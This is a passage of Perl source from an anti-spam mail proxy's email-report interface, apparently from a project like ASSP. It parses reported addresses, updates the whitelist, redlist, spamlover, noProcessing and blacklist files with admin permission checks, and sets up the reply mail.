        ( $this->{reporttype} == 0 )  ? "$EmailSpam\@"
      : ( $this->{reporttype} == 1 )  ? "$EmailHam\@"
      : ( $this->{reporttype} == 2 )  ? "$EmailWhitelistAdd\@"
      : ( $this->{reporttype} == 3 )  ? "$EmailWhitelistRemove\@"
      : ( $this->{reporttype} == 4 )  ? "$EmailRedlistAdd\@"
      : ( $this->{reporttype} == 7 )  ? "$EmailHelp\@"
      : ( $this->{reporttype} == 10 ) ? "$EmailSpamLoverAdd\@"
      : ( $this->{reporttype} == 11 ) ? "$EmailSpamLoverRemove\@"
      : ( $this->{reporttype} == 12 ) ? "$EmailNoProcessingAdd\@"
      : ( $this->{reporttype} == 13 ) ? "$EmailNoProcessingRemove\@"
      : ( $this->{reporttype} == 14 ) ? "$EmailBlackAdd\@"
      : ( $this->{reporttype} == 15 ) ? "$EmailBlackRemove\@"
      : ( $this->{reporttype} == 16 ) ? "$EmailPersBlackAdd\@"
      : ( $this->{reporttype} == 17 ) ? "$EmailPersBlackRemove\@"
      :   "$EmailRedlistRemove\@";    #$this->{reporttype}==5
    my %addresses;
	my $fname = $1;
	return if $this->{reporttype} == 7;
    $this->{reportprocessed} = 0 if !$this->{reportprocessed};

	my $EmailAdrRe=qr/[^()<>@,;:"\[\]\000-\040\x7F-\xFF]+/o;


    return unless $a =~ s/($EmailAdrRe\@)($EmailDomainRe)\s*(,\*)?/$1$2/o;     #addr@dom,* for global removal


	my $global; my $splw;
    $global = 1 if substr($3,0,2) eq ',*' ;
    return if substr($3,0,2) eq '=>' && $this->{reportaddr} ne 'EmailSpamLoverAdd';
    $splw = $3 if substr($3,0,2) eq '=>' && $this->{reportaddr} eq 'EmailSpamLoverAdd';
    $splw =~ s/\s//go;
    my $localmail = localmail($2);
    $localmail = undef if (($this->{reportaddr} eq 'EmailPersBlackAdd' or $this->{reportaddr} eq 'EmailPersBlackRemove') and $a =~ /^reportpersblack\@/io);

    return if matchSL( $a, 'EmailAdmins',1 );
    return if $a =~ /\=/ ;

    $a =~ s/^\'//;
	$a =~ s/\s+//g;
    $a =~ s/^title.3D//;
    
    $a = batv_remove_tag(0,$a,'');
    $a =~ /^(.*)@/;
    $a            		= lc $a;
    my $mf           	= lc $a;
    my $rea 			= lc $a;
    $rea =~ s/^\*/\\\*/o;

    my $mfu; $mfu = $1 if $mf =~ /([^@]*)\@/o;
    my $mfd; $mfd = $1 if $mf =~ /\@([^@]*)/o;
    my $mfdd; $mfdd = $1 if $mf =~ /(\@[^@]*)/o;
    $wildcardUser = lc $wildcardUser;
    my $alldd        = "$wildcardUser$mfdd";
    my $defaultalldd = "*$mfdd";
	$a = $alldd if !$mfu;
    $mfu = $wildcardUser if !$mfu;
	$a =~ s/ //g;
	my $ad = $a;
	
    return if length($a) > 127;
	
    return if $a =~ /localhost/i;
    return if $a =~ /^\Q$EmailAdminReportsTo/i && $EmailAdminReportsTo;
    return if $a =~ /^\Q$EmailHam/i && $EmailHam;
    return if $a =~ /^\Q$EmailSpam/i && $EmailSpam;

    return if $a =~ /^\Q$EmailErrorsTo/i && $EmailErrorsTo;
    return if $a =~ /^\Q$EmailRedlistAdd/i && $EmailRedlistAdd;
    return if $a =~ /^\Q$EmailRedlistRemove/i && $EmailRedlistRemove;
    return if $a =~ /^\Q$EmailRedlistTo/i && $EmailRedlistTo;
    return if $a =~ /^\Q$EmailWhitelistAdd/i && $EmailWhitelistAdd;
    return if $a =~ /^\Q$EmailWhitelistRemove/i && $EmailWhitelistRemove;

    return if $a =~ /^\Q$EmailWhitelistTo/i && $EmailWhitelistTo; 
    return if $a =~ /^\Q$EmailSpamLoverAdd/i && $EmailSpamLoverAdd;
    return if $a =~ /^\Q$EmailSpamLoverRemove/i && $EmailSpamLoverRemove;
    return if $a =~ /^\Q$EmailSpamLoverTo/i && $EmailSpamLoverTo;
    return if $a =~ /^\Q$EmailNoProcessingAdd/i && $EmailNoProcessingAdd;
    
    return if $a =~ /^\Q$EmailNoProcessingRemove/i && $EmailNoProcessingRemove;
    return if $a =~ /^\Q$EmailNoProcessingTo/i && $EmailNoProcessingTo;
	
	return if $a =~ /^\Q$EmailBlackAdd/i && $EmailBlackAdd;
	return if $a =~ /^\Q$EmailBlackRemove/i && $EmailBlackRemove;

	return if $a =~ /^\Q$EmailPersBlackAdd/i && $EmailPersBlackAdd;
	return if $a =~ /^\Q$EmailPersBlackRemove/i && $EmailPersBlackRemove;
	return if $a =~ /^\Q$EmailBlackTo/i && $EmailBlackTo;


    return if $a =~ /\Q$EmailFrom/i && $EmailFrom;
    return if $a =~ /mailfrom/i;
	

    return if $a =~ /\.(jpg|gif)\@/;

    return if $a =~ /\*\*/;
    return if $a=~/^0/;
    return if $a=~/\+/;
    return if $a=~/javamail/i;
    return if $a=~/\d\d\d\d\d\d\d\d\d/i;
    
    return if lc $a eq lc $this->{mailfrom} && $this->{reporttype} <= 3;
    return if lc $a eq lc $this->{mailfrom} && $this->{reporttype} >= 14;
    
    return if ( $EmailSenderOK && matchSL( $a, 'EmailSenderOK' ) );

    $this->{reportfound}++;
#	$TLDSRE = $URIBLTLDSRE if ".com" =~ /\.($URIBLTLDSRE )/i;
   	if ($a !~ /\.($fixTLDSRE)\b/i ) {

		if ($a !~ /\.($TLDSRE)\b/i ) {
			mlog( 0, "email: $a: not processed, invalid top level domain", 1 );

			return;
		}
	}
	
    if (localmail($a) && ($this->{reporttype} <= 2 or $this->{reporttype} >= 14) ) {
	
		mlog( 0, "email: $a: not processed, local address", 1 ) if $ReportLog >= 2;
		return;    			
	}

	$this->{reportprocessed}++;
    return if $this->{reporttype} == 7;

    my $isadmin = (matchSL( $this->{mailfrom}, 'EmailAdmins',1 ) or lc $this->{mailfrom} eq lc $EmailAdminReportsTo);
    $isadmin = 1 if $this->{mailfrom} =~ $myName;



    if ( $EmailErrorsModifyWhite == 2 && $this->{reporttype} <= 1 ) {
        ShowWhiteReport( $a, $this );
        return;
    }
    my $t       = time;
    my $redlist = "Redlist";
    my $list = ( ( $this->{reporttype} & 4 ) == 0 ) ? "Whitelist" : "Redlist";
	
    if (   $this->{reporttype} == 3
        || $this->{reporttype} == 0
        || $this->{reporttype} == 5
		)
    {

        # deletion
		

        if ($EmailWhiteRemovalAdminOnly && !$isadmin && lc $this->{mailfrom} ne lc $EmailWhitelistTo && $list eq "Whitelist") {
            $this->{report} .= "$a: not processed, only Admins can delete 		whitelist-entries\n";
            return;
                
        }
        if ( !$isadmin && lc $a ne lc $this->{mailfrom} && $list eq "Redlist") {
  			$this->{report} .=
  			"$list removal of $a not allowed for this sender: $this->{mailfrom}\nsender must be in list of EmailAdmins\n";
			$this->{reportprocessed}=0;
  			return;
  		}

        if ( $list->{ lc $a } ) {
            delete $list->{ lc $a };
        
            eval {
                if ( $this->{report} !~ "\Q$a\E: removed from" )
                
                {
                    $this->{report} .= "$a: removed from " . lc $list . "\n";
                    mlog( 0, "email: " . lc $list . " deletion: $a" );
                }
            };

            # we're adding to redlist
            if (
                (
                       $this->{reporttype} == 2
                    || $this->{reporttype} == 1
                    || $this->{reporttype} == 4
                )
                && $EmailWhiteRemovalToRed
              )
            {

                if ( $redlist->{ lc $a } ) {
                    $redlist->{ lc $a } = $t;
                    if (
                        eval(
                                 $this->{report} !~ "\Q$a\E: added to"
                              && $this->{report} !~ "\Q$a\E: already on"
                        )
                      )
                    {
                        $this->{report} .=
                          "$a: already on " . lc $redlist . "\n";
                    }
                } else {
                    $redlist->{ lc $a } = $t;
                    if (
                        eval(
                                 $this->{report} !~ "\Q$a\E: added to"
                              && $this->{report} !~ "\Q$a\E: already on"
                        )
                      )
                    {
                        $this->{report} .= "$a: added to " . lc $redlist . "\n";
                        mlog( 0, "email: " . lc $redlist . " addition: $a" );
                    }

                }
            }

            # ###################

	} else {
        if ( ( $this->{reporttype} == 0 ) ) {
        } else {
        	eval {
            	if ( $this->{report} !~ "\Q$a\E: not on" ) {
                    $this->{report} .= "$a: not on " . lc $list . " - not removed\n";
                }
            };

        }
        }

		if ($EmailErrorsModifyNoP) {

        if ( $noProcessing && matchSL( $a, 'noProcessing' ) ) {
            eval {
                if ( $this->{report} !~ "\Q$a\E is on NoProcessing-List" )
                {
                    $this->{report} .= "\n$a is on NoProcessing-List\n\n" if $EmailErrorsModifyNoP ==2 ;
                    PrintAdminInfo("email $slmatch is on NoProcessing-List") if $EmailErrorsModifyNoP ==2 ;
                     if ( $this->{report} !~ "\Q$slmatch\E removed from" )
                	{
                    modifyList('noProcessing' , 'delete' ,"email from $this->{mailfrom}", $slmatch ) if $EmailErrorsModifyNoP ==1 ;
                    $this->{report} .= "\n$slmatch removed from NoProcessing-List\n\n" if $EmailErrorsModifyNoP ==1 ;
                    PrintAdminInfo("email $slmatch removed from NoProcessing-List") if $EmailErrorsModifyNoP ==1 ;
					}
                }
            };
        }
     

        if ($npRe) {
            if ( $a =~ $npReRE ) {
                eval {
                    if ( $this->{report} !~ "\Q$a\E matches NoProcessing-Regex" )
                    {
                        $this->{report} .= "\n$mf matches NoProcessing-Regex\n\n";
                    }
                };
            }
        }
        if ( $noProcessingDomains && $mf =~ ( '(' . $NPDRE . ')' ) ) {
            eval {
                if ( $this->{report} !~ "$1 is on NoProcessingDomain-List" )
                {
                    $this->{report} .= "\n$1 is on NoProcessingDomain-List\n\n";
                }
            };
        }
        }
        if ( $Whitelist{$alldd} ) {
            eval {

                    $this->{report} .= "\n$alldd is on Whitelist\n\n";

            };

        }
        if ( $Whitelist{$defaultalldd} ) {
            eval {
               
                    $this->{report} .= "\n$defaultalldd is on Whitelist\n\n";
 
            };
        }
        if ( $Whitelist{$a} ) {
            eval {
                if ( $this->{report} !~ "\Q$a\E is on Whitelist" )
                {
                    $this->{report} .= "\n$a is on Whitelist\n\n";
                }
            };
        }
        if ( $whiteListedDomains && $mf =~ ( '(' . $WLDRE . ')' ) ) {
            eval {
                if ( $this->{report} !~ "$1 is on Whitedomain-List" )
                {
                    $this->{report} .= "\n$1 is on Whitedomain-List\n\n";

                }
            };
        }
    } elsif ( $this->{reporttype} == 1
        || $this->{reporttype} == 2
        || $this->{reporttype} == 4 )
    {
        if ( !$isadmin && lc $a ne lc $this->{mailfrom} && $list eq "Redlist") {
  			$this->{report} .=
  			"$list addition of $a not allowed for this sender: $this->{mailfrom}\nsender must be in list of EmailAdmins\n";
			$this->{reportprocessed}=0;
  			return;
  		}

        # addition

        $ad = $a;
        my $removePersBlack;
        my $aa = $ad;
        $aa =~ s/([\.\[\]\-\(\)\+\\])/\\$1/go;
        $aa =~ s/^\*/\\\*/o;

        if ( $list->{ lc $ad } ) {
            ($list eq 'Redlist') ? $list->{ lc $ad } = $t : &Whitelist($ad,undef,'add');
            $removePersBlack = 1 if $list eq 'Whitelist';
            if (   $this->{report} !~ /\Q$aa\E: already on/
                && $this->{report} !~ /\Q$aa\E: added to/ )
            {
                $this->{report} .= "$ad: already on " . lc $list . "\n";
                mlog( 0, "email: $ad already on " . lc $list, 1 );
            }
            # mlog($fh,"email ".lc $list." renewal: $ad");
        }
        elsif ( $localmail
            && ( $this->{reportaddr} eq 'EmailWhitelistAdd' || $this->{reportaddr} eq 'EmailHam' ) )
        {
        }
        elsif ( $list eq 'Whitelist' && $Redlist{ lc $ad } ) {
            if ( $this->{report} !~ /\Q$aa:\E cannot add redlisted users to whitelist/ )
            {
                $this->{report} .= "$ad: cannot add redlisted users to whitelist\n";
                mlog( 0, "email whitelist addition denied: $ad on redlist", 1 );
            }
        }
        else {
            ($list eq 'Redlist') ? $list->{ lc $ad } = $t : &Whitelist($ad,$this->{mailfrom},'add');
            $removePersBlack = 1 if $list eq 'Whitelist';
            if (   $this->{report} !~ /\Q$aa\E: already on/
                && $this->{report} !~ /\Q$aa\E: added to/ )
            {
                $this->{report} .= "$ad: added to " . lc $list . "\n";
                mlog( 0, "email: " . lc $list . " addition: $ad", 1 );
            }
            
        }
        if ($removePersBlack && $PersBlack{lc $this->{mailfrom}.','.lc $ad}) {
            delete $PersBlack{lc $this->{mailfrom}.','.lc $ad};
            $this->{report} .= "$ad: removed from the personal blacklist of $this->{mailfrom} , address is now whitelisted\n";
            mlog( 0, "email: $ad: removed from the personal blacklist of $this->{mailfrom}", 1 );
        }
  } elsif ( $this->{reporttype} == 10 ) {

        # SpamLover add
        if ( !matchSL( $this->{mailfrom}, 'EmailAdmins',1 ) ) {
            $a = $this->{mailfrom}
              if lc $this->{mailfrom} ne lc $EmailAdminReportsTo
                  && lc $this->{mailfrom} ne lc $EmailSpamLoverTo;
        }
        if ( &matchSL( $a, 'spamLovers' ) ) {    # is already SL
            eval {
                if (   $this->{report} !~ "\Q$a\E: already on"
                    && $this->{report} !~ "\Q$a\E: added to" )
                {
                    $this->{report} .=
                      "$a: already on SpamLover addresses - not added\n";
                }
            };
        } else {

            # add to SL
            eval {
                if (   $this->{report} !~ "\Q$a\E: already on"
                    && $this->{report} !~ "\Q$a\E: added to" )
                {
                    if ( !$spamLovers) {
                    	$Config{spamLovers} = "file:files/spamlovers.txt";
                    	$spamLovers = "file:files/spamlovers.txt";
                    }
                    if ( $spamLovers =~ /^ *file: *(.+)/i ) {
                        $fname = $1;

                        my $SL;
                        open $SL, ">>$base/$fname";
                        binmode $SL;
                        print $SL
"\n$a . $splw  # added by email interface from $this->{mailfrom}";
                        close $SL;
                    } else {
                        $this->{report} .=
"error: spamLovers is misconfigured (missing file: $fname) - unable to add $a\n";
                        return;
                    }

                    $this->{report} .= "$a: added to SpamLover addresses\n";
                    mlog( 0, "email: SpamLover addition: $a", 1 );
                }
            };
        }
        } elsif ( $this->{reporttype} == 14 ) {
		
        # Black add
  		if (!$isadmin) {
  			$this->{report} .=
  			"blacklist addition not allowed for this sender: $this->{mailfrom}\nsender must be in list of EmailAdmins\n";
			$this->{reportprocessed}=0;
  			return;
  			}
        if (  $blackListedDomains && $a =~ $BLDRE ) {    # is already black
            eval {
                if (   $this->{report} !~ "\Q$a\E: already"
                    && $this->{report} !~ "\Q$a\E: added to" )
                {
                    $this->{report} .=
                      "$a: already in blackListedDomains - not added\n";
                }
            };
        } else {

            # Black addL
            eval {
                if (   $this->{report} !~ "\Q$a\E: already on"
                    && $this->{report} !~ "\Q$a\E: added to" )
                {
                    
                    if ( !$blackListedDomains) {
                    	$Config{blackListedDomains} = "file:files/blackdomains.txt";
                    	$blackListedDomains = "file:files/blackdomains.txt";
                    }
                    if ( $blackListedDomains =~ /^ *file: *(.+)/i ) {
                        $fname = $1;
                        my $SL;
                        open $SL, ">>$base/$fname";
                        binmode $SL;
                        print $SL
"\n$a  # added by email interface from $this->{mailfrom}";
                        close $SL;
                    } else {
                    	$this->{reportprocessed}=0;
                    	mlog( 0, "error: blackListedDomains is misconfigured (missing file: $fname)", 1 );
                        $this->{report} .=
"error: blackListedDomains is misconfigured (missing file: $fname) - unable to add $a\n";
                        return;
                    }

                    $this->{report} .= "$a: added to blackListedDomains addresses\n";
                    mlog( 0, "email: blackListedDomains addition: $a", 1 );
                    optionFilesReload();
                }
            };
        }
    } elsif ( $this->{reporttype} == 12 ) {

        # NoProcessing add
        if ( !matchSL( $this->{mailfrom}, 'EmailAdmins',1 ) ) {
            $a = $this->{mailfrom}
              if lc $this->{mailfrom} ne lc $EmailAdminReportsTo
                  && lc $this->{mailfrom} ne lc $EmailNoProcessingTo;
        }

        if ( &matchSL( $a, 'noProcessing' ) ) {    # is already NP
            eval {
                if (   $this->{report} !~ "\Q$a\E: already"
                    && $this->{report} !~ "\Q$a\E: added" )
                {
                    $this->{report} .=
                      "$a: already in noProcessing addresses - not added\n";
                }
            };
        } else {
            eval {
                if (   $this->{report} !~ "\Q$a\E: already on"
                    && $this->{report} !~ "\Q$a\E: added to" )
                {
                    if ( !$noProcessing) {
                    	$Config{noProcessing} = "file:files/noprocessing.txt";
                    	$noProcessing = "file:files/noprocessing.txt";
                    }
                    if ( $noProcessing =~ /^ *file: *(.+)/i ) {
                        $fname = $1;
                        my $SL;
                        open $SL, ">>$base/$fname";
                        binmode $SL;
                        print $SL
"\n$a  # added by email interface from $this->{mailfrom}";
                        close $SL;
                    } else {
                        $this->{report} .=
"error: noProcessing is misconfigured (missing file: $fname) - unable to add $a\n";
						$this->{reportprocessed}=0;
                        return;
                    }
                    $this->{report} .= "$a: added to noProcessing addresses\n";
                    mlog(
                        0,
"email: noProcessing addition: $a  by $this->{mailfrom}",
                        1
                    );
                    optionFilesReload();
                }
            };
        }
    } elsif ( $this->{reporttype} == 13 ) {

        # NP remove
        if ( !matchSL( $this->{mailfrom}, 'EmailAdmins',1 ) ) {
            $a = $this->{mailfrom}
              if lc $this->{mailfrom} ne lc $EmailAdminReportsTo
                  && lc $this->{mailfrom} ne lc $EmailNoProcessingTo;
        }

        if ( !&matchSL( $a, 'noProcessing' ) ) {    # is not a NP
            eval {
                if ( $this->{report} !~ "\Q$a\E: is not" )
                {
                    $this->{report} .=
                      "$a: is not in noProcessing addresses - not removed\n";
                }
            };
        } else {
            eval {
                if (   $this->{report} !~ "\Q$a\E: removed from"
                    && $this->{report} !~ "\Q$a\E: unable to remove" )
                {
                    my $removed = 0;
                    if ( !$noProcessing) {
                    	$Config{noProcessing} = "file:files/noprocessing.txt";
                    	$noProcessing = "file:files/noprocessing.txt";
                    }
                    if ( $noProcessing =~ /^ *file: *(.+)/i ) {
                        $fname = $1;
                        my $SL;
                        my @nps;
                        open $SL, "<$base/$fname";
                        while (<$SL>) {
                            s/[\r\n]//g;
                            my $v = $_;
                            $v =~ s/#.*//g;
                            if ( $v !~ /\Q$a\E/i ) {
                                push @nps, "\n$_";
                            } else {
                                $removed = 1;
                            }
                        }
                        close $SL;
                        if ($removed) {    # we removed an entry - save the file
                            open $SL, ">$base/$fname";
                            binmode $SL;
                            foreach (@nps) {
                                print $SL "$_";
                            }
                            close $SL;
                            optionFilesReload();
                        }
                    } else {
                        $this->{report} .=
"error: noProcessing is misconfigured (missing file: $fname) - unable to remove $a\n";
						$this->{reportprocessed}=0;
                        return;
                    }
                    if ($removed) {
                        $this->{report} .=
                          "$a: removed from noProcessing addresses \n";
                        mlog(
                            0,
"email: noProcessing removed: $a by $this->{mailfrom}",
                            1
                        );
                    } else {
                        $this->{report} .=
                          "$a: unable to remove from noProcessing addresses\n";
                    }
                }
            };
        }
      } elsif ( $this->{reporttype} == 15 ) {

        # Black remove
		if (!$isadmin) {
   			$this->{report} .=
  			"blacklist removal not allowed for this sender: $this->{mailfrom}\nsender must be in list of EmailAdmins\n";
			$this->{reportprocessed}=0;
  			return;
  		}
        if ( $blackListedDomains && $a !~ $BLDRE ) {    # is not a blackListedDomains

            eval {
                if ( $this->{report} !~ "\Q$a\E: is not" )
                {
                    $this->{report} .=
                      "$a: is not a blackListedDomains address - not removed\n";
                }
            };
        } else {
            eval {
                if (   $this->{report} !~ "\Q$a\E: removed from"
                    && $this->{report} !~ "\Q$a\E: unable to remove" )
                {
                    my $removed = 0;
                    if ( !$blackListedDomains) {
                    	$Config{blackListedDomains} = "file:files/blackdomains.txt";
                    	$blackListedDomains = "file:files/blackdomains.txt";
                    }
                    if ( $blackListedDomains =~ /^ *file: *(.+)/i ) {
                        $fname = $1;
                        my $SL;
                        my @nps;
                        open $SL, "<$base/$fname";
                        while (<$SL>) {
                            s/[\r\n]//g;
                            my $v = $_;
                            $v =~ s/#.*//g;
                            if ( $v !~ /$a/i ) {
                                push @nps, "\n$_";
                            } else {
                                $removed = 1;
                            }
                        }
                        close $SL;
                        if ($removed) {    # we removed an entry - save the file
                            open $SL, ">$base/$fname";
                            binmode $SL;
                            foreach (@nps) {
                                print $SL "$_";
                            }
                            close $SL;
                        }
                    } else {
                    	$this->{reportprocessed}=0;
                        $this->{report} .=
"error: blackListedDomains is misconfigured (missing file: $fname) - unable to remove $a\n";
                        return;
                    }
                    if ($removed) {
                        $this->{report} .=
                          "$a: removed from blackListedDomains addresses \n";
                        mlog(
                            0,
"email: blackListedDomains removed: $a by $this->{mailfrom}",
                            1
                        );
                    } else {
                        $this->{report} .=
                          "$a: unable to remove from blackListedDomains addresses\n";
                    }
                }
            };
        }
    } elsif ( $this->{reporttype} == 16 ) {  # personal black add
		$isadmin = 1 if $this->{mailfrom} =~ $myName;
        $isadmin = 1 if $this->{mailfrom} eq $EmailAdminReportsTo;
		$isadmin = "" if !$EmailAdminsModifyGlobalBlack;
		my $fr = "";

        if ($ad =~ /^reportpersblack\@/io) {
#                &SavePersBlack;
                $fr = lc $this->{mailfrom} . ',';
                $fr = '*,' if $isadmin;
                $this->{report} .= "\n";
                $this->{report} .= "Current entries in personal blacklist\n" ;
                
                while (my ($key,$data) = each %PersBlack) {
#					mlog( 0, "$key");

                    if ($key =~ /^\Q$fr\E/) {
                        my ($ar,$af) = split(/,/o,$key);

                        $this->{report} .= "$af: is on the personal blacklist of $this->{mailfrom}\n" if !$isadmin;
                		$this->{report} .= "$af: is on the personal blacklist of $ar (admin)\n" if $isadmin;
                    }
                }
        } else {
        		my $fr = lc $this->{mailfrom};

        		$fr = '*' if $isadmin;

        		$ad = $fr.','.lc $ad;
        		my $action = $PersBlack{$ad} ? 'updated' : 'added';
        		$PersBlack{$ad} = $t;
        		
        		$this->{report} .= "$ad: $action to personal blacklist of $this->{mailfrom}\n" if !$isadmin;
        		mlog( 0, "email: $ad $action to personal blacklist") if !$isadmin;
        		$this->{report} .= "$ad: $action to '*' blacklist\n" if $isadmin;
        		mlog( 0, "email: $ad $action to '*' blacklist") if $isadmin;
    	}
    } elsif ( $this->{reporttype} == 17 ) {  # personal black remove
        
        my $fr = lc $this->{mailfrom};
        $isadmin = 1 if $this->{mailfrom} =~ $myName;
        $isadmin = 1 if $this->{mailfrom} eq $EmailAdminReportsTo;
        $isadmin = "" if !$EmailAdminsModifyGlobalBlack;
        $fr = '*' if $isadmin;
        

        $ad = $fr.','.lc $ad;
        if ($PersBlack{$ad}) {
            delete $PersBlack{$ad};
            
            $this->{report} .= "$ad: removed from personal blacklist of $this->{mailfrom}\n" if !$isadmin;
            $this->{report} .= "$ad: removed from '*' blacklist \n" if $isadmin;
            mlog( 0, "email: $ad: removed from personal blacklist of $this->{mailfrom}" ) if !$isadmin;
            mlog( 0, "email: $ad: removed from '*' blacklist" ) if $isadmin;
        } else {
            if ($ad =~ /reportpersblack/io) {
                &SavePersBlack;
                my $fr = lc $this->{mailfrom} . ',';
                $fr = '*,' if $isadmin;
                                $this->{report} .= "\n";
                $this->{report} .= "Entries in the personal blacklist\n" ;

                
                while (my ($k,$v) = each %PersBlack) {

                    if ($k =~ /^\Q$fr\E/) {
                        my ($ar,$af) = split(/,/o,$k);
                        $this->{report} .= "$af: is on the personal blacklist of $this->{mailfrom}\n" if !$isadmin;
                		$this->{report} .= "$af: is on the personal blacklist of $ar (admin)\n" if $isadmin;
                    }
                }
            } else {
                $this->{report} .= "$ad: not on the personal blacklist of $this->{mailfrom}\n" if !$isadmin;
                

            }
        }
        my $isadmin = (matchSL( $this->{mailfrom}, 'EmailAdmins',1 ) or lc $this->{mailfrom} eq lc $EmailBlackTo);
        if ($global && $isadmin) {
            my $fr = ','.lc $ad;
            while (my ($k,$v) = each %PersBlack) {
                if ($k =~ /\Q$fr\E$/i) {
                    my ($ar,$af) = split(/,/o,$k);
                    delete $PersBlack{$k};
                    $this->{report} .= "$af: removed from the personal blacklist of $ar\n";
                    mlog( 0, "email: $af: removed from the personal blacklist of $ar" );
                }
            }
        }
    } elsif ( $this->{reporttype} == 11 ) {

        # $this->{reporttype}==11
        # SpamLover remove
        if ( !matchSL( $this->{mailfrom}, 'EmailAdmins',1 ) ) {
            $a = $this->{mailfrom}
              if lc $this->{mailfrom} ne lc $EmailAdminReportsTo
                  && lc $this->{mailfrom} ne lc $EmailSpamLoverTo;
        }
        if ( !&matchSL( $a, 'spamLovers',1 ) ) {
            eval {
                if ( $this->{report} !~ "\Q$a\E: is not a" )
                {
                    $this->{report} .=
                      "$a: is not a SpamLover address - not removed\n"
                      ;    # is not a SL
                }
            };
        } else {
            eval {
                if (   $this->{report} !~ "\Q$a\E: removed from"
                    && $this->{report} !~ "\Q$a\E: unable to remove" )
                {          # remove from SL
                    my $removed = 0;
                    if ( !$spamLovers) {
                    	$Config{spamLovers} = "file:files/spamlovers.txt";
                    	$spamLovers = "file:files/spamlovers.txt";
                    }
                    if ( $spamLovers =~ /^ *file: *(.+)/i ) {
                        $fname = $1;
                        my $SL;
                        my @lovers;
                        open $SL, "<$base/$fname";
                        while (<$SL>) {
                            s/[\r\n]//g;
                            my $v = $_;
                            $v =~ s/#.*//g;
                            if ( $v !~ /$a/i ) {
                                push @lovers, "\n$_";
                            } else {
                                $removed = 1;
                            }
                        }
                        close $SL;
                        if ($removed) {    # we removed an entry - save the file
                            open $SL, ">$base/$fname";
                            binmode $SL;
                            foreach (@lovers) {
                                print $SL "$_";
                            }
                            close $SL;
                        }
                    } else {
                    	$this->{reportprocessed}=0;
                        $this->{report} .=
"error: spamLovers is misconfigured (missing file: $fname) - unable to remove $a\n";
                        return;
                    }
                    if ($removed) {
                        $this->{report} .=
                          "$a: removed from SpamLover addresses\n";
                        mlog(
                            0,
                            "email: SpamLover removed: $a by $this->{mailfrom}",
                            1
                        );
                    } else {
                        $this->{report} .=
                          "$a: unable to remove from SpamLover addresses\n";
                    }
                }
            };
        }
    }
}

sub ShowWhiteReport {
    my ( $a, $this ) = @_;
    my $lm = localmail($a);

    mlog( 0, "email: ShowWhiteReport: a: $a ", 1 );

    my $t = time;

    my $list = "Whitelist";

    my $mf           = lc $a;
    my $mfd          = $1 if $mf =~ /\@(.*)/;
    my $mfdd         = $1 if $mf =~ /(\@.*)/;
    $wildcardUser = lc $wildcardUser;
    my $alldd        = "$wildcardUser$mfdd";
    my $defaultalldd = "*$mfdd";
    eval {
        if ( $Whitelist{$mf} )
        {

            if ( $this->{report} !~ "$mf is on Whitelist" ) {
                $this->{report} .= "\n$mf is on Whitelist\n\n";
            }

        } else {
            $this->{report} .= "$mf is not on Whitelist\n";
        }

        if ( $Redlist{$mf} ) {

            if ( $this->{report} !~ "$mf is on Redlist" ) {
                $this->{report} .= "\n$mf is on Redlist\n\n";
            }
        }
        if ( $noProcessing && matchSL( $mf, 'noProcessing',1 ) ) {

            if ( $this->{report} !~ "$mf is on NoProcessing-List" ) {
                $this->{report} .= "\n$mf is on NoProcessing-List\n\n";
            }
        }

        if ($npRe) {
            if ( $mf =~ $npReRE ) {

                if ( $this->{report} !~ "$mf is on NoProcessing-Regex" ) {
                    $this->{report} .= "\n$mf is in NoProcessing-Regex\n\n";
                }
            }
        }
        if ( $noProcessingDomains && $mf =~ ( '(' . $NPDRE . ')' ) ) {

            if ( $this->{report} !~ "$1 is on NoProcessingDomain-List" ) {
                $this->{report} .= "\n$1 is on NoProcessingDomain-List\n\n";
            }
        }
        if ( $Whitelist{$alldd} ) {

            if ( $this->{report} !~ "$alldd is on Whitelist" ) {
                $this->{report} .= "\n$alldd is on Whitelist\n\n";
            }

        }
        if ( $Whitelist{$defaultalldd} ) {

            if ( $this->{report} !~ "$defaultalldd is on Whitelist" ) {
                $this->{report} .= "\n$defaultalldd is on Whitelist\n\n";
            }
        }
        if ( $whiteListedDomains && $mf =~ ( '(' . $WLDRE . ')' ) ) {

            if ( $this->{report} !~ "$1 is on Whitedomain-List" ) {
                $this->{report} .= "\n$1 is on Whitedomain-List\n\n";

            }
        }
    };

}


sub GetReportFile {

    my ( $fh, $file, $sub, $bod, $user ) = @_;
    my $this = $Con{$fh};	
 	open( $FH, "<$file" ) || mlog( 0, "couldn't open '$file' for mail report" );
    local $/ = "\n";
    my $subject = <$FH>;
    $subject =~ s/\s*(.*)\s*/$1 $sub/;
    $this->{subject} = $subject;
    undef $/;
    $this->{body} = "Report from: $user\n" if $user;
    $this->{body} .= <$FH> . $bod;
    close $FH;
    $this->{body}    =~ s/\r?\n/\r\n/g;
    $this->{subject} =~ s/\r?\n?//g;
    my $spamsub = $spamSubject;

    if ($spamsub) {
        $spamsub =~ s/(\W)/\\$1/g;
        $this->{subject} =~ s/$spamsub *//gi;
    }
}


sub ReturnMail {
    my($fh,$from,$file,$sub,$bod,$user)=@_;
    d('ReturnMail');
    $from = &batv_remove_tag(0,$from,'');

    if ($fh && exists $Con{$fh} && ! $Con{$fh}->{isadmin} && $Con{$fh}->{reportaddr} !~ /persblack|analyze|virus/io && matchSL($from,'EmailSenderNoReply')) {
        mlog(0,"info: skipped sending report ($Con{$fh}->{reportaddr}) on 'EmailSenderNoReply' to $from") if $ReportLog > 1;
        return;
    }

    my $destination;
    my $s;
    my $localip;
    my $AVa;
    $from = &batv_remove_tag(0,$from,'');
    $user = &batv_remove_tag(0,$user,'');
    if ($EmailReportDestination ne '') {
        $destination = $EmailReportDestination;
    }else{
        $destination = $smtpDestination;
    }
    &sigoffTry(__LINE__);
    $AVa = 0;
    foreach my $destinationA (split(/\|/o, $destination)) {
        if ($destinationA =~ /^(_*INBOUND_*:)?(\d+)$/o){
            $localip = '127.0.0.1';
            $destinationA = $localip .':'.$2;
        }
        if ($AVa<1) {
            $s=new IO::Socket::INET(Proto=>'tcp',PeerAddr=>$destinationA,Timeout=>2);
            if($s) {
                $AVa=1;
                $destination=$destinationA;
            }
            else {
                mlog(0,"*** $destinationA didn't work, trying others...") if $SessionLog;
            }
        }
    }
    if(! $s) {
        mlog(0,"couldn't create server socket to $destination -- aborting ReturnMail connection");
        &sigonTry(__LINE__);
        return;
    }
    addfh($s,\&RMhelo);
    my $this=$Con{$s};
    $this->{to}=$from;
    $this->{from}=$EmailFrom;
    my $RM;
    (open($RM,"<$file")) || mlog(0,"couldn't open '$file' for mail report");
    local $/="\n";
    my $subject=<$RM> if fileno($RM);
